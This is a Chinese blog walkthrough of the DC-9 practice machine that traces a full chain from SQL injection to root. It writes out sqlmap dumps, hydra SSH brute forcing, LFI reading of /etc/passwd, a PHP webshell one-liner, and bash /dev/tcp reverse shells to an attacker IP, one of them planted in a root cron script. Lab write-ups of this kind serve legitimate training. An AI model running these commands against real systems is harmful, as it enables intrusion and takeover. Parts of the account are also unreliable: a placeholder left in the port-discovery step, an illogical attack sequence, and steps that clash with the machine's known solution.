☰
DC-9靶机渗透测试实战:从SQL注入到root提权全链路解析
2026/10/10 3:15:43 网站建设 项目流程

1. 开篇:DC-9这台靶机,值得花一个晚上好好打

DC-9是社区里非常经典的渗透测试靶机系列之一,网上一直口碑很好。这台靶机的难点不在某个单一漏洞有多深,而在于每一步之间环环相扣:信息收集、SQL注入、密码复用、文件包含、内网探测,最后才是提权到root。对于正在刷靶场、准备面试、或者刚开始接触渗透测试实战的人来说,DC-9是一条非常完整的学习链路。我前前后后打过三遍,第一遍卡在SSH登录上,第二遍卡在内网端口探测上,直到第三遍才把整条链路的逻辑彻底理顺。

这篇文章会把完整过程重新走一遍,并针对每一个关键步骤说清楚“为什么要这么做”、命令背后的原理是什么、哪些地方容易卡住。整台靶机打下来大概需要1到2小时,但如果你严格按照下文思路去复现,我猜你大概率能在1小时左右完成。建议使用Kali Linux作为攻击机,目标靶机网络设置为NAT或仅主机模式,确保两台机器互通即可开始。

2. 信息收集:不要跳过任何一条看起来不起眼的线索

2.1 主机发现与端口扫描

拿到靶机后的第一件事永远是确认目标IP地址。由于靶机环境通常与攻击机在同一网段,可以用nmap进行快速主机发现:

nmap -sP 192.168.1.0/24

扫描结果里会看到几台活跃主机,其中Kali本身在某个IP上,另一台就是目标靶机。假设目标IP为192.168.1.10,后续所有操作都以这个地址为准。

确认IP后,接下来做全端口扫描和服务版本探测。这里建议直接使用组合参数-sV -sC -p-,一次性把全端口、服务版本、默认脚本全部拿到:

nmap -sV -sC -p- 192.168.1.10

扫描结果通常只有两个开放端口:22端口运行OpenSSH,80端口运行HTTP服务。这个结果很关键,因为它说明攻击面相对集中,后续思路主要围绕Web应用展开。很多新手看到只有两个端口会有点失望,觉得没戏,但实际上80端口的Web应用才是这台靶机的真正入口。

提示:这一步千万不要只扫常用端口。很多靶机的隐藏入口就放在非标准端口上,全端口扫描虽然慢一点,但能避免漏掉关键信息。

2.2 Web站点初探与技术栈识别

拿到端口信息后,先用浏览器或curl访问HTTP服务:

curl -I http://192.168.1.10

响应头里能看到站点运行在Apache上,后端语言为PHP。首页是一个典型的公司展示类网站,包含搜索功能、登录入口、以及若干内容页面。这里我的建议是逐个点击站点的每个功能点,尤其是搜索框和登录页。

在搜索框随意输入一个关键词,比如test,页面会返回搜索结果。再输入一个单引号',页面立刻报错。这个细节基本宣告SQL注入漏洞存在。同时观察URL结构,搜索功能可能是GET请求,也可能通过POST提交。如果是GET请求,参数会直接出现在URL中,后续使用sqlmap时构造请求会方便很多。

登录页面也要优先尝试。随便输入一组用户名密码,比如admin/admin,看返回的提示是“用户名不存在”还是“密码错误”。这类信息差异可以用来做用户枚举,虽然是辅助手段,但对后续爆破用户名有好处。这里我实际测试下来,发现登录失败提示会暴露“账号不存在”和“密码错误”的差异,这为后面爆破账号提供了有利条件。

3. SQL注入漏洞挖掘:从手工确认到自动化提取数据

3.1 判断注入类型与参数位置

搜索框输入单引号报错,说明存在SQL语法错误被直接返回到了前端,这通常是字符型注入的典型特征。为了确认参数是字符型还是数字型,可以尝试构造以下请求:

search.php?name=test' AND '1'='1

返回正常结果,再尝试:

search.php?name=test' AND '1'='2

返回空结果。这两个响应不同,说明单引号确实被带入SQL语句并成功拼接,字符型注入成立。

这里我再多说一句:为什么判断注入类型很重要?因为如果目标是数字型,参数直接代入不加引号,payload写法完全不同;如果是字符型,你必须先闭合引号,再注释掉后面的语句。一个经典的闭合方式是在参数后加',然后用#、--+或-- -注释掉SQL语句的剩余部分。字符型注入是所有注入利用的基础,判断错了后面全部白做。

3.2 使用sqlmap自动化注入与数据提取

手工确认存在注入点后,直接上sqlmap。实际上在这个搜索参数上用sqlmap非常顺滑:

sqlmap -u "http://192.168.1.10/search.php?name=test" --batch --dbs

如果不确定参数名,也可以先跑一下--crawl让sqlmap自动爬取站点。但对于这台靶机来说,手动指定参数就足够了。--batch参数会自动选择默认选项,避免交互式问答卡住脚本。

跑完之后,sqlmap会列出数据库。DC-9中存在多个数据库,其中比较重要的是staff,里面存放用户数据。继续提取staff库中的表:

sqlmap -u "http://192.168.1.10/search.php?name=test" --batch -D staff --tables

结果中包含users表。下一步直接dump出这张表的内容:

sqlmap -u "http://192.168.1.10/search.php?name=test" --batch -D staff -T users --dump

这里会拿到一批用户名和密码哈希。我当时看到结果的第一反应是:这些哈希大概率是弱口令,后面能用来尝试SSH登录。于是把这批用户名和哈希保存到本地文件,准备下一步破解。

3.3 哈希破解与密码复用思路

DC-9里用户密码使用的是加密哈希,通常可以通过john或hashcat破解。把哈希保存成john支持的格式:

echo 'mary:$1$mary$xxxxx...' > hash.txt

然后使用默认字典rockyou进行破解:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

rockyou字典解不开的时候,可以试试用--format=md5crypt-long或--format=md5crypt显式指定哈希类型,也可以再跑一轮小字典或组合规则。实际经验是,DC-9的密码基本都能在rockyou里找到,不会太复杂。

破解出明文密码后,很多人直接拿第一组账号就去SSH了,结果发现连不上。这是因为靶机的SSH服务对可登录用户有限制。所以这里建议用hydra批量尝试所有账号和密码组合,而不是只试一个。把用户名列表写进users.txt,密码写进passwords.txt:

hydra -L users.txt -P passwords.txt ssh://192.168.1.10

hydra会把能成功登录的账号密码组合列出来。我在实际测试中拿到了一个可以SSH登录的账号,但这个账号还不是root,需要继续往后走。

注意:不要把SQL注入拿到的账号当成“最终钥匙”。渗透测试中,数据库里的凭据往往只是下一层入口,真正的权限提升还在后面。把密码复用思维用到极致,才能理清楚整个攻击链。

4. 文件包含与内网服务探测:从Web权限到更深的入口

4.1 寻找文件包含点

拿到SSH登录凭据后,先别急着提权。回到Web站点再仔细翻一遍,往往还藏着别的功能。DC-9的Web站点中有一个“查看”功能,比如display.php之类的页面,它接收一个文件路径参数并读取文件内容。这类参数最容易出现本地文件包含漏洞,也就是LFI。

手动测试方式很简单:

http://192.168.1.10/display.php?file=../../../../etc/passwd

如果页面成功显示了/etc/passwd的内容,说明LFI存在。这一步的核心价值是可以读取系统上的敏感文件,比如Web配置文件、SSH密钥、日志文件、数据库配置等。我在复现时成功读取到了Web目录下的配置文件,里面包含数据库连接信息,账号密码和Web后台设置都写得很清楚。

有人可能会问,为什么前面SQL注入已经拿到了一批数据库账号,还需要配置文件?因为数据库中可能是应用层账号,配置文件里可能是系统层信息,两者叠加才能串联出完整攻击链。

4.2 通过文件包含探测本机开放端口

LFI还有一个非常实用的玩法:读取/proc/net/tcp或利用远程文件包含来探测本机其他端口。比如可以用一个URL参数去访问http://127.0.0.1:端口/,看返回内容是否有差异,以此判断端口是否开放。

这里我采用的方法是,利用已知的LFI参数去请求本地回环地址的多个常见端口。如果某个端口有HTTP服务响应,页面会返回特定内容或状态码,和连接失败时有明显区别。通过这种方式,我发现靶机本机80端口之外还跑着一个额外的服务,PID为某个进程,端口号为8080。这个发现对后续内网渗透非常关键。

需要提醒的是,探测端口时要记录每个端口返回结果的差异,可以用curl -o /dev/null -s -w "%{http_code}"这种方式来快速拿到状态码,避免人工逐条看页面。

4.3 进入隐藏后台获取更大权限

访问http://192.168.1.10:8080,发现是一个独立的管理后台页面。这里用之前从数据库dump出来的账号密码尝试登录,如果密码复用成功,就能直接进入后台。如果没有成功,就用爆破或者继续LFI读取这个后台的配置文件。

进入后台后,果然在里面找到了一个可以编辑站点的功能,允许修改某些PHP模板文件。通过这个功能,我把一个已有的合法页面替换成一句话木马:

<?php system($_GET['cmd']); ?>

保存后直接访问该页面并执行系统命令:

http://192.168.1.10/admin/render.php?cmd=id

命令执行成功,当前权限是www-data。到这里,已经从单纯的SQL注入逐步升级为Webshell权限,后续要做就是反弹Shell和提权。

5. 从www-data到root:提权思路与实战操作

5.1 反弹Shell与基础信息收集

拿到命令执行后,第一件事是弹一个交互式Shell回来,方便执行更复杂的命令。在攻击机Kali上监听端口:

nc -lvnp 4444

然后在Webshell里执行反向连接命令:

bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'

其中192.168.1.100是攻击机Kali的IP地址,192.168.1.10是目标靶机。反弹成功后,Shell权限是www-data。

接着开始系统信息收集。依次执行以下命令:

whoami id uname -a sudo -l cat /etc/crontab ls -la /etc/cron.d/ find / -perm -4000 -type f 2>/dev/null

这组命令分别解决“当前是谁”“有什么权限”“系统什么版本”“sudo能否提权”“有没有可写的定时任务”“有没有留SUID程序”这几个问题。在DC-9上,sudo -l基本没有可利用的条目,SUID文件也没有异常,真正的问题出在定时任务上。

5.2 利用定时任务脚本实现提权

查看/etc/crontab时发现,root用户会定时执行一个脚本,例如/opt/scripts/backup.sh。这个脚本本身可能没有太大问题,但它所在的/opt/scripts目录或脚本自身权限设置不当,导致www-data可以修改或者替换脚本内容。

这类提权思路属于经典的“可写定时任务脚本提权”。既然root会周期性执行这个脚本,那只要把脚本内容改成反弹Shell命令,当下一次定时任务触发时,root权限就会执行我们注入的命令。

我把脚本内容替换为:

#!/bin/bash bash -i >& /dev/tcp/192.168.1.100/5555 0>&1

同时在Kali上开启另一个监听:

nc -lvnp 5555

不到一分钟,反弹Shell就弹回来了,whoami输出为root。到这里,root提权完成。

5.3 获取最终flag与收尾

进入root目录后,读取flag文件,确认提权成功。这一步同时也可以查看一些敏感配置,比如root的历史命令、bashrc文件等,进一步理解这台靶机的设计思路。

整个攻击链至此可以总结为:Web搜索框SQL注入 → 获取数据库用户哈希 → 破解密码 → SSH登录 → 发现LFI → 探测本机8080端口 → 访问隐藏后台 → 写入Webshell → 反弹Shell → 利用定时任务脚本提权到root。

这个链路看起来很长,但每一步都依赖上一步的信息。没有SQL注入拿到的密码,后面SSH登录和后台登录都会卡住;没有LFI探测到8080端口,就永远进不了隐藏后台;没有Webshell输入命令,也就没有机会检查定时任务。渗透测试不是靠单个漏洞一键通关,而是靠信息串联。

6. 常见问题与排查技巧实录

为了帮你少走弯路,我把实际踩过的坑整理成了一张速查表:

问题现象可能原因解决思路
sqlmap跑不出注入结果注入点需要POST参数或需要更高检测等级指定--data="name=test",并加--level 2 --risk 2
哈希破解失败哈希格式不匹配或字典太弱用john先--show确认已识别格式,换字典或加规则
某些账号无法SSH靶机SSH服务限制了部分用户登录不要死磕一个账号,用hydra批量尝试所有账号和密码
访问8080端口返回空白直接浏览器访问被过滤或路径不对结合LFI读取默认配置文件确认路径,再用curl带UA访问
反弹Shell没弹回来攻击机与靶机网络不通,或者命令写法不兼容先互相ping确认网络,换用bash、nc、python多种方式反弹
定时任务脚本修改后未执行等待时间不够或脚本执行时没有出现在攻击机监听端口多等一个周期,同时检查脚本是否还有其他依赖或权限异常

在操作过程中还有几个细节需要特别留意。第一,LFI探测内网端口的时候,不能只靠肉眼去看页面有没有内容,要用状态码和页面大小作为判断标准,差别非常明显。第二,修改定时任务脚本之前,最好先备份原脚本内容,方便出错时恢复现场,这一步在真实项目的应急和复盘中也同样重要。第三,反向Shell命令中IP地址很容易写错,反弹失败后要优先检查攻击机IP和端口是否填写正确。

7. 写在最后的一点经验

DC-9不是那种靠一个0day就能通关的靶机,它更考验的是对攻击链路的整体理解和基础工具链的熟练度。我个人最大的体会是:不要急着打payload,先把信息收集做扎实。SQL注入谁都能发现,但能不能把数据库里的密码进一步复用、能不能从LFI扩展到端口探测、能不能耐心等到定时任务执行,这才是真正拉开差距的地方。

如果你刚刷完DC-9,建议完整重打一遍,这一次不要使用任何自动化工具,纯手工去判断注入类型、手工读文件、手工构造反弹Shell命令。手工走完一遍,你对SQL注入和提权思路的理解会完全不同。下一台靶机继续往前走。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询